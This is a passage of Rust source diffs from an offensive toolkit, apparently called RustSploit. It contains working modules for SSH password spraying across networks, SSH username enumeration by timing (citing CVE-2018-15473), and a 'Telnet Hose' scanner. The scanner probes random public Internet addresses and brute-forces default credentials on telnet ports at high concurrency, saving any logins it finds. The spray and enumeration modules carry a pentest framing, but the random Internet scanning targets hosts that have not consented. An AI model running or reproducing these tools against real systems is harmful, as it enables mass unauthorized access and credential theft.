fs::File,
io::{BufRead, BufReader, Write},
net::TcpStream,
sync::{
atomic::{AtomicBool, AtomicU64, Ordering},
Arc,
},
time::{Duration, Instant},
};
use crate::utils::prompt_port;
use anyhow::Context;
use tokio::{
sync::Semaphore,
task::spawn_blocking,
time::sleep,
};
use ipnetwork::IpNetwork;
const DEFAULT_SSH_PORT: u16 = 22;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const DEFAULT_THREADS: usize = 20;
const PROGRESS_INTERVAL_SECS: u64 = 2;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSH Password Spray ║".cyan());
println!("{}", "║ Spray single password across multiple targets/users ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Benefits: ║".cyan());
println!("{}", "║ - Avoids account lockouts ║".cyan());
println!("{}", "║ - Tests common passwords across many hosts ║".cyan());
println!("{}", "║ - Efficient for large network assessments ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Normalize target for connection
fn normalize_target(target: &str) -> String {
let trimmed = target.trim();
if trimmed.starts_with('[') && trimmed.contains(']') {
trimmed.to_string()
} else if trimmed.contains(':') && !trimmed.contains('.') {
format!("[{}]", trimmed)
} else {
trimmed.to_string()
}
}
/// Statistics tracking
struct Statistics {
total_attempts: AtomicU64,
successful: AtomicU64,
failed: AtomicU64,
errors: AtomicU64,
start_time: Instant,
}
impl Statistics {
fn new() -> Self {
Self {
total_attempts: AtomicU64::new(0),
successful: AtomicU64::new(0),
failed: AtomicU64::new(0),
errors: AtomicU64::new(0),
start_time: Instant::now(),
}
}
fn record_attempt(&self, success: bool, error: bool) {
self.total_attempts.fetch_add(1, Ordering::Relaxed);
if error {
self.errors.fetch_add(1, Ordering::Relaxed);
} else if success {
self.successful.fetch_add(1, Ordering::Relaxed);
} else {
self.failed.fetch_add(1, Ordering::Relaxed);
}
}
fn print_progress(&self) {
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful.load(Ordering::Relaxed);
let failed = self.failed.load(Ordering::Relaxed);
let errors = self.errors.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
success.to_string().green(),
failed,
errors.to_string().red(),
rate
);
let _ = std::io::Write::flush(&mut std::io::stdout());
}
fn print_summary(&self) {
println!();
println!("{}", "=== Spray Summary ===".cyan().bold());
println!("Total attempts: {}", self.total_attempts.load(Ordering::Relaxed));
println!("Successful: {}", self.successful.load(Ordering::Relaxed).to_string().green());
println!("Failed: {}", self.failed.load(Ordering::Relaxed));
println!("Errors: {}", self.errors.load(Ordering::Relaxed));
println!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64());
}
}
/// Credential result
#[derive(Clone, Debug)]
pub struct SprayResult {
pub host: String,
pub port: u16,
pub username: String,
pub password: String,
}
/// Try SSH authentication
fn try_ssh_auth(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Result<bool> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse()?,
Duration::from_secs(timeout_secs),
)?;
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(username, password) {
Ok(_) => Ok(sess.authenticated()),
Err(_) => Ok(false),
}
}
/// Parse targets from string (CIDR, range, single IP)
fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> {
let mut targets = Vec::new();
for s in spec.split(&[',', ' ', '\n'][..]) {
let s = s.trim();
if s.is_empty() {
continue;
}
// Try CIDR
if s.contains('/') {
if let Ok(network) = s.parse::<IpNetwork>() {
for ip in network.iter().take(65536) {
targets.push((ip.to_string(), port));
}
continue;
}
}
// Try IP range (e.g., 192.168.1.1-254)
if s.contains('-') && s.contains('.') {
let parts: Vec<&str> = s.rsplitn(2, '.').collect();
if parts.len() == 2 {
if let Some((start_str, end_str)) = parts[0].split_once('-') {
if let (Ok(start), Ok(end)) = (start_str.parse::<u8>(), end_str.parse::<u8>()) {
let base = parts[1];
for i in start..=end {
targets.push((format!("{}.{}", base, i), port));
}
continue;
}
}
}
}
// Single IP/hostname
targets.push((s.to_string(), port));
}
targets
}
/// Load list from file
fn load_list_from_file(path: &str) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
let items: Vec<String> = reader
.lines()
.filter_map(|l| l.ok())
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty() && !l.starts_with('#'))
.collect();
Ok(items)
}
/// Main spray function
pub async fn password_spray(
targets: Vec<(String, u16)>,
usernames: &[String],
password: &str,
threads: usize,
timeout_secs: u64,
) -> Vec<SprayResult> {
let total = targets.len() * usernames.len();
println!("{}", format!("[*] Spraying '{}' against {} targets, {} users ({} total attempts)",
password, targets.len(), usernames.len(), total).cyan());
let results = Arc::new(tokio::sync::Mutex::new(Vec::new()));
let stats = Arc::new(Statistics::new());
let semaphore = Arc::new(Semaphore::new(threads));
let stop = Arc::new(AtomicBool::new(false));
// Progress reporter
let stats_clone = Arc::clone(&stats);
let stop_clone = Arc::clone(&stop);
let progress_handle = tokio::spawn(async move {
while !stop_clone.load(Ordering::Relaxed) {
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
// Spray tasks
let mut handles = Vec::new();
for (host, port) in targets {
for user in usernames {
let semaphore = Arc::clone(&semaphore);
let results = Arc::clone(&results);
let stats = Arc::clone(&stats);
let host = host.clone();
let user = user.clone();
let password = password.to_string();
let handle: tokio::task::JoinHandle<Result<()>> = tokio::spawn(async move {
let _permit = semaphore.acquire().await.context("Semaphore acquisition failed")?;
let host_clone = host.clone();
let user_clone = user.clone();
let pass_clone = password.clone();
let result = spawn_blocking(move || {
try_ssh_auth(&host_clone, port, &user_clone, &pass_clone, timeout_secs)
}).await;
match result {
Ok(Ok(true)) => {
stats.record_attempt(true, false);
let cred = SprayResult {
host: host.clone(),
port,
username: user.clone(),
password: password.clone(),
};
println!("\r{}", format!("[PWNED] {}:{} @ {}:{}", user, password, host, port).red().bold());
let _ = std::io::Write::flush(&mut std::io::stdout());
results.lock().await.push(cred);
}
Ok(Ok(false)) => {
stats.record_attempt(false, false);
}
_ => {
stats.record_attempt(false, true);
}
}
Ok(())
});
handles.push(handle);
}
}
// Wait for all tasks
for handle in handles {
let _ = handle.await;
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print summary
stats.print_summary();
let results = results.lock().await;
results.clone()
}
/// Save results to file
fn save_results(results: &[SprayResult], path: &str) -> Result<()> {
let mut file = File::create(path)?;
writeln!(file, "# SSH Password Spray Results")?;
writeln!(file, "# Generated by RustSploit")?;
writeln!(file, "# Total: {} credentials found", results.len())?;
writeln!(file)?;
for result in results {
writeln!(file, "{}:{} @ {}:{}", result.username, result.password, result.host, result.port)?;
}
println!("{}", format!("[+] Results saved to: {}", path).green());
Ok(())
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
/// Default usernames to spray
const DEFAULT_USERNAMES: &[&str] = &[
"root", "admin", "user", "administrator", "ubuntu",
"guest", "test", "oracle", "postgres", "mysql",
];
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Get password to spray
let password = prompt("Password to spray").await?;
if password.is_empty() {
return Err(anyhow!("Password is required"));
}
// Get port
let port: u16 = prompt_port("SSH Port", DEFAULT_SSH_PORT)?;
// Get targets
let mut targets = Vec::new();
// Add initial target
let host = normalize_target(target);
if !host.is_empty() {
println!("{}", format!("[*] Initial target: {}", host).cyan());
targets.extend(parse_targets(&host, port));
}
// Get additional targets
let more_targets = prompt("Additional targets (comma-separated, CIDR, or leave empty)").await?;
if !more_targets.is_empty() {
targets.extend(parse_targets(&more_targets, port));
}
// Load from file?
if prompt_yes_no("Load targets from file?", false)? {
let file_path = prompt("File path").await?;
if !file_path.is_empty() {
match load_list_from_file(&file_path) {
Ok(file_targets) => {
println!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan());
for t in file_targets {
targets.extend(parse_targets(&t, port));
}
}
Err(e) => {
println!("{}", format!("[-] Failed to load file: {}", e).red());
}
}
}
}
// Deduplicate targets
let unique: HashSet<_> = targets.into_iter().collect();
let targets: Vec<_> = unique.into_iter().collect();
if targets.is_empty() {
return Err(anyhow!("No targets specified"));
}
println!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if prompt_yes_no("Load usernames from file?", false)? {
let file_path = prompt("Username file path").await?;
if !file_path.is_empty() {
match load_list_from_file(&file_path) {
Ok(loaded) => {
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
usernames.extend(loaded);
}
Err(e) => {
println!("{}", format!("[-] Failed to load file: {}", e).red());
}
}
}
}
// Add default usernames?
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true)? {
for user in DEFAULT_USERNAMES {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
}
}
if usernames.is_empty() {
return Err(anyhow!("No usernames to test"));
}
// Get scan options
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string())?
.parse()
.unwrap_or(DEFAULT_THREADS);
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string())?
.parse()
.unwrap_or(DEFAULT_TIMEOUT_SECS);
println!();
// Run spray
let results = password_spray(targets, &usernames, &password, threads, timeout).await;
// Save results?
if !results.is_empty() && prompt_yes_no("Save results to file?", true)? {
let output_path = prompt_default("Output file", "ssh_spray_results.txt")?;
if let Err(e) = save_results(&results, &output_path) {
println!("{}", format!("[-] Failed to save: {}", e).red());
}
}
println!();
println!("{}", format!("[*] Password spray complete. Found {} valid credentials.", results.len()).green());
Ok(())
}
+310
View File
@@ -0,0 +1,310 @@
//! SSH User Enumeration Module (Timing Attack)
//!
//! Based on SSHPWN framework - enumerates valid users via timing attack.
//! Inspired by CVE-2018-15473 style attacks.
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::TcpStream,
time::{Duration, Instant},
};
use crate::utils::prompt_port;
use anyhow::Context;
const DEFAULT_SSH_PORT: u16 = 22;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const DEFAULT_SAMPLES: usize = 3;
const TIMING_THRESHOLD: f64 = 0.3; // 300ms difference threshold
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSH User Enumeration (Timing Attack) ║".cyan());
println!("{}", "║ Based on auth2.c timing differences ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ How it works: ║".cyan());
println!("{}", "║ - Measures authentication response time for each username ║".cyan());
println!("{}", "║ - Valid users often have different timing than invalid ║".cyan());
println!("{}", "║ - Compares against baseline (known invalid user) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Normalize target for connection
fn normalize_target(target: &str) -> String {
let trimmed = target.trim();
if trimmed.starts_with('[') && trimmed.contains(']') {
trimmed.to_string()
} else if trimmed.contains(':') && !trimmed.contains('.') {
format!("[{}]", trimmed)
} else {
trimmed.to_string()
}
}
/// Time a single authentication attempt
fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -> Option<f64> {
let addr = format!("{}:{}", host, port);
let start = Instant::now();
let tcp = match TcpStream::connect_timeout(
&addr.parse().ok()?,
Duration::from_secs(timeout_secs),
) {
Ok(s) => s,
Err(_) => return None,
};
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
let mut sess = match Session::new() {
Ok(s) => s,
Err(_) => return None,
};
sess.set_tcp_stream(tcp);
if sess.handshake().is_err() {
return None;
}
// Try authentication with invalid password
let invalid_password = format!("invalid_{}_{}", std::process::id(), start.elapsed().as_nanos());
let _ = sess.userauth_password(username, &invalid_password);
let elapsed = start.elapsed().as_secs_f64();
Some(elapsed)
}
/// Sample authentication timing for a username
fn sample_auth_timing(host: &str, port: u16, username: &str, samples: usize, timeout_secs: u64) -> Option<f64> {
let mut times = Vec::new();
for _ in 0..samples {
if let Some(t) = time_auth_attempt(host, port, username, timeout_secs) {
times.push(t);
}
// Small delay between samples
std::thread::sleep(Duration::from_millis(100));
}
if times.is_empty() {
return None;
}
// Return average
Some(times.iter().sum::<f64>() / times.len() as f64)
}
/// Load usernames from file
fn load_usernames(path: &str) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
let usernames: Vec<String> = reader
.lines()
.filter_map(|l| l.ok())
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty() && !l.starts_with('#'))
.collect();
Ok(usernames)
}
/// Enumerate valid users via timing attack
pub async fn enumerate_users(
host: &str,
port: u16,
usernames: &[String],
samples: usize,
timeout_secs: u64,
threshold: f64,
) -> Vec<String> {
println!("{}", format!("[*] Enumerating users on {}:{} (timing attack)", host, port).cyan());
println!("{}", format!("[*] Testing {} usernames with {} samples each", usernames.len(), samples).cyan());
println!("{}", format!("[*] Timing threshold: {:.3}s", threshold).cyan());
println!();
// Establish baseline with known-invalid user
let baseline_user = format!("nonexistent_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
println!("{}", "[*] Establishing baseline timing...".cyan());
let baseline = match sample_auth_timing(host, port, &baseline_user, samples, timeout_secs) {
Some(t) => {
println!("{}", format!("[*] Baseline timing: {:.3}s", t).cyan());
t
}
None => {
println!("{}", "[-] Failed to establish baseline - cannot reach target".red());
return Vec::new();
}
};
println!();
println!("{}", "[*] Testing usernames...".cyan());
let mut valid_users = Vec::new();
for (i, user) in usernames.iter().enumerate() {
print!("\r[{}/{}] Testing: {} ", i + 1, usernames.len(), user);
let _ = std::io::Write::flush(&mut std::io::stdout());
match sample_auth_timing(host, port, user, samples, timeout_secs) {
Some(t) => {
let diff = t - baseline;
if diff.abs() > threshold {
println!("\r{}", format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green());
valid_users.push(user.clone());
}
}
None => {
// Connection failed, skip
}
}
}
println!();
println!("{}", "=== Results ===".cyan().bold());
if valid_users.is_empty() {
println!("{}", "[-] No valid users found via timing attack".yellow());
println!("{}", "[*] Note: This technique may not work on all SSH configurations".dimmed());
} else {
println!("{}", format!("[+] Found {} valid user(s):", valid_users.len()).green());
for user in &valid_users {
println!(" - {}", user.green());
}
}
valid_users
}
/// Prompt helper
fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
/// Default usernames to test
const DEFAULT_USERNAMES: &[&str] = &[
"root", "admin", "user", "test", "guest",
"ubuntu", "www-data", "daemon", "bin", "sys",
"nobody", "mysql", "postgres", "oracle", "ftp",
"ssh", "apache", "nginx", "tomcat", "redis",
];
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target);
println!("{}", format!("[*] Target: {}", host).cyan());
// Get parameters
let port: u16 = prompt_port("SSH Port", DEFAULT_SSH_PORT)?;
let samples: usize = prompt_default("Samples per username", "3")?.parse().unwrap_or(DEFAULT_SAMPLES);
let timeout: u64 = prompt_default("Connection timeout (seconds)", "10")?.parse().unwrap_or(DEFAULT_TIMEOUT_SECS);
let threshold: f64 = prompt_default("Timing threshold (seconds)", "0.3")?.parse().unwrap_or(TIMING_THRESHOLD);
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if prompt_yes_no("Load usernames from file?", false)? {
let file_path = prompt("Username file path")?;
if !file_path.is_empty() {
match load_usernames(&file_path) {
Ok(loaded) => {
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
usernames.extend(loaded);
}
Err(e) => {
println!("{}", format!("[-] Failed to load file: {}", e).red());
}
}
}
}
// Add default usernames?
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true)? {
for user in DEFAULT_USERNAMES {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
}
}
if usernames.is_empty() {
return Err(anyhow!("No usernames to test"));
}
println!();
println!("{}", format!("[*] Will test {} usernames", usernames.len()).cyan());
println!();
// Run enumeration
let valid_users = enumerate_users(&host, port, &usernames, samples, timeout, threshold).await;
// Save results?
if !valid_users.is_empty() && prompt_yes_no("Save valid users to file?", true)? {
let output_path = prompt_default("Output file", "valid_ssh_users.txt")?;
let mut file = File::create(&output_path)?;
writeln!(file, "# Valid SSH users for {}:{}", host, port)?;
for user in &valid_users {
writeln!(file, "{}", user)?;
}
println!("{}", format!("[+] Saved to: {}", output_path).green());
}
println!();
println!("{}", "[*] SSH user enumeration complete".green());
Ok(())
}
File diff suppressed because it is too large Load Diff
+440
View File
@@ -0,0 +1,440 @@
use anyhow::{Result, Context};
use colored::*;
use rand::Rng;
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::sync::Arc;
use std::time::{Duration, Instant};
use tokio::fs::OpenOptions;
use tokio::io::{AsyncReadExt, AsyncWriteExt, BufReader};
use tokio::net::TcpStream;
use tokio::process::Command;
use tokio::sync::Semaphore;
use std::sync::atomic::{AtomicUsize, Ordering};
use tokio::time::timeout;
// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc)
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8", // Multicast/Reserved
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32", // Carrier/LinkLocal/Broadcast
// Cloudflare
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
// Google
"8.8.8.8/32", "8.8.4.4/32"
];
// Top 3 Telnet Ports
const TELNET_PORTS: &[u16] = &[23, 2323, 8023];
// Default Credentials (Mixed Cartesian Product will be generated from these)
const TOP_USERS: &[&str] = &["root", "admin", "user", "support", "guest"];
const TOP_PASS: &[&str] = &["root", "admin", "user", "1234", "123456", "password", "password123", "default", "support", "guest", ""];
// Keywords to match in help output (must match at least 2)
const HELP_KEYWORDS: &[&str] = &[
"show", "user", "system", "help", "exit", "quit", "logout", "enable", "config", "command", "menu", "admin"
];
// Internal Logic Constants
const CONCURRENCY: usize = 500;
const CONNECT_TIMEOUT_MS: u64 = 2000;
const LOGIN_TIMEOUT_MS: u64 = 6000; // Total time for a login attempt
const OUTPUT_FILE: &str = "telnet_hose_results.txt";
const STATE_FILE: &str = "telnet_hose_state.log"; // Stores "checked: <ip>"
#[derive(Debug, PartialEq, Clone, Copy)]
enum TelnetState {
WaitingForBanner,
SendingUsername,
WaitingForPasswordPrompt,
SendingPassword,
WaitingForResult,
SendingHelp,
WaitingForHelpResponse,
}
pub async fn run(target: &str) -> Result<()> {
println!("{}", "=== Telnet Hose Mass Scanner ===".bold().cyan());
println!("Target Mode: {}", if target.is_empty() || target == "random" { "Internet Random" } else { target });
println!("Concurrency: {}", CONCURRENCY);
println!("Exclusions: Enabled (Private + Cloudflare + Google)");
println!("Output: {}", OUTPUT_FILE);
// Parse exclusions
let mut exclusion_subnets = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
let exclusions = Arc::new(exclusion_subnets);
// Prepare Credential Combos
let mut creds = Vec::new();
for u in TOP_USERS {
for p in TOP_PASS {
creds.push((u.to_string(), p.to_string()));
}
}
// Also add reverse (pass as user) just in case for some
creds.push(("1234".to_string(), "1234".to_string()));
let creds = Arc::new(creds);
let semaphore = Arc::new(Semaphore::new(CONCURRENCY));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
// Spawn stats reporter
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs checked, {} Creds found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
if target.is_empty() || target == "random" || target == "0.0.0.0/0" {
// Initialize state file
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
// Random Mode
loop {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let exc = exclusions.clone();
let cr = creds.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
// Check if already tested
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
scan_ip(Some(ip), cr, sf).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File/List Mode
// We assume 'target' is a file path since it's a "hose" module
let content = match tokio::fs::read_to_string(target).await {
Ok(c) => c,
Err(e) => {
println!("{}", format!("[!] Failed to read target file: {}", e).red());
return Ok(());
}
};
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
if lines.is_empty() {
println!("No targets found in file or invalid target string.");
return Ok(());
}
println!("Loaded {} IPs from list", lines.len());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let cr = creds.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let ip = ip_str.clone();
tokio::spawn(async move {
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
scan_ip(ip.parse().ok(), cr, sf).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
// Wait for all tasks to finish (simple hack: try to acquire all semaphores)
// In a real hose, we just run until done.
for _ in 0..CONCURRENCY {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
let mut excluded = false;
for net in exclusions {
if net.contains(ip_addr) {
excluded = true;
break;
}
}
if !excluded {
return ip_addr;
}
}
}
async fn is_ip_checked(ip: &impl ToString) -> bool {
// Ensure state file exists before running grep
if !std::path::Path::new(STATE_FILE).exists() {
return false;
}
// Grep for "checked: <ip>" in state file
let ip_s = ip.to_string();
let status = Command::new("grep")
.arg("-F")
.arg("-q")
.arg(format!("checked: {}", ip_s))
.arg(STATE_FILE)
.stderr(std::process::Stdio::null())
.status()
.await;
match status {
Ok(s) => s.success(), // Grep returns 0 (true) if found
Err(_) => false, // File might not exist yet
}
}
async fn mark_ip_checked(ip: &impl ToString) {
let data = format!("checked: {}\n", ip.to_string());
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(STATE_FILE)
.await
{
let _ = file.write_all(data.as_bytes()).await;
}
}
async fn save_result(ip: &str, port: u16, user: &str, pass: &str) {
let data = format!("{}:{} {}:{}\n", ip, port, user, pass);
println!("{} {}", "[+] HOSE SUCCESS:".green().bold(), data.trim());
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(OUTPUT_FILE)
.await
{
let _ = file.write_all(data.as_bytes()).await;
}
}
async fn scan_ip(
ip_opt: Option<IpAddr>,
creds: Arc<Vec<(String, String)>>,
stats_found: Arc<AtomicUsize>
) {
let Some(ip) = ip_opt else { return };
let ip_str = ip.to_string();
let mut handles = Vec::new();
for &port in TELNET_PORTS {
let socket_addr = SocketAddr::new(ip, port);
let creds = creds.clone();
let stats_found = stats_found.clone();
let ip_str = ip_str.clone();
handles.push(tokio::spawn(async move {
// Quick Connect Check
if timeout(Duration::from_millis(CONNECT_TIMEOUT_MS), TcpStream::connect(&socket_addr)).await.is_err() {
return;
}
// Port is open, try credentials
for (user, pass) in creds.iter() {
match try_telnet_login_hose(&socket_addr, user, pass).await {
Ok(true) => {
save_result(&ip_str, port, user, pass).await;
stats_found.fetch_add(1, Ordering::Relaxed);
return; // Stop after first success on this port
}
_ => {}
}
}
}));
}
// Wait for all ports to finish checking
for h in handles {
let _ = h.await;
}
}
// Simplified & Optimized Telnet Login for Hose
// Wrapper for retry logic
async fn try_telnet_login_hose(
socket: &SocketAddr,
username: &str,
password: &str,
) -> Result<bool> {
// Attempt 1: Standard (try to detect, fallback to User+Pass)
let (success, banner_seen) = do_telnet_session(socket, username, password, false).await?;
if success {
return Ok(true);
}
// If we failed AND never saw a proper banner (blind/silence), retry with Password Only
if !banner_seen {
// Attempt 2: Blind Password Only
let (success_retry, _) = do_telnet_session(socket, username, password, true).await?;
if success_retry {
return Ok(true);
}
}
Ok(false)
}
// Inner session logic
async fn do_telnet_session(
socket: &SocketAddr,
username: &str,
password: &str,
force_password_only: bool,
) -> Result<(bool, bool)> { // returns (success, banner_detected)
let stream_res = timeout(
Duration::from_millis(CONNECT_TIMEOUT_MS),
TcpStream::connect(socket)
).await;
let stream = match stream_res {
Ok(Ok(s)) => s,
_ => return Ok((false, false)), // Connect fail
};
let (reader, mut writer) = tokio::io::split(stream);
let mut reader = BufReader::new(reader);
let mut buf = [0u8; 1024];
// State Machine
let mut state = TelnetState::WaitingForBanner;
let start = Instant::now();
let max_duration = Duration::from_millis(LOGIN_TIMEOUT_MS);
let mut banner_detected = false;
while start.elapsed() < max_duration {
// Simple Read with Timeout
let read_future = reader.read(&mut buf);
let n = match timeout(Duration::from_millis(1500), read_future).await {
Ok(Ok(0)) => return Ok((false, banner_detected)), // EOF
Ok(Ok(n)) => n,
Ok(Err(_)) => return Ok((false, banner_detected)), // Error
Err(_) => {
// Read Timeout logic
// If waiting for banner and timed out -> No Banner Detected
if state == TelnetState::WaitingForBanner {
// Decide action based on mode
if force_password_only {
state = TelnetState::SendingPassword;
} else {
state = TelnetState::SendingUsername;
}
continue;
}
if state == TelnetState::WaitingForResult || state == TelnetState::WaitingForHelpResponse {
// Timeout waiting for result/help usually means fail or stuck
return Ok((false, banner_detected));
}
continue;
}
};
// IAC Stripping (Minimal)
let s = String::from_utf8_lossy(&buf[..n]);
let lower = s.to_lowercase();
// Handle current state
match state {
TelnetState::WaitingForBanner => {
if lower.contains("pass") || lower.contains("word") {
banner_detected = true;
state = TelnetState::SendingPassword;
} else if lower.contains("login") || lower.contains("user") || lower.contains("name") {
banner_detected = true;
state = TelnetState::SendingUsername;
}
}
TelnetState::SendingUsername => {
// Should not happen here if we just transitioned,
// but if we are reading response after sending user:
if lower.contains("pass") || lower.contains("word") {
state = TelnetState::SendingPassword;
}
}
TelnetState::WaitingForPasswordPrompt => {
if lower.contains("pass") || lower.contains("word") {
state = TelnetState::SendingPassword;
}
}
TelnetState::WaitingForResult => {
if lower.contains("incorrect") || lower.contains("fail") || lower.contains("denied") || lower.contains("error") {
return Ok((false, banner_detected));
}
if lower.contains("#") || lower.contains("$") || (lower.contains(">") && !lower.contains(">>")) || lower.contains("welcome") {
state = TelnetState::SendingHelp;
}
}
TelnetState::WaitingForHelpResponse => {
let mut match_count = 0;
for kw in HELP_KEYWORDS {
if lower.contains(kw) {
match_count += 1;
}
}
if match_count >= 2 {
return Ok((true, banner_detected));
}
}
_ => {}
}
// Perform Writes if needed
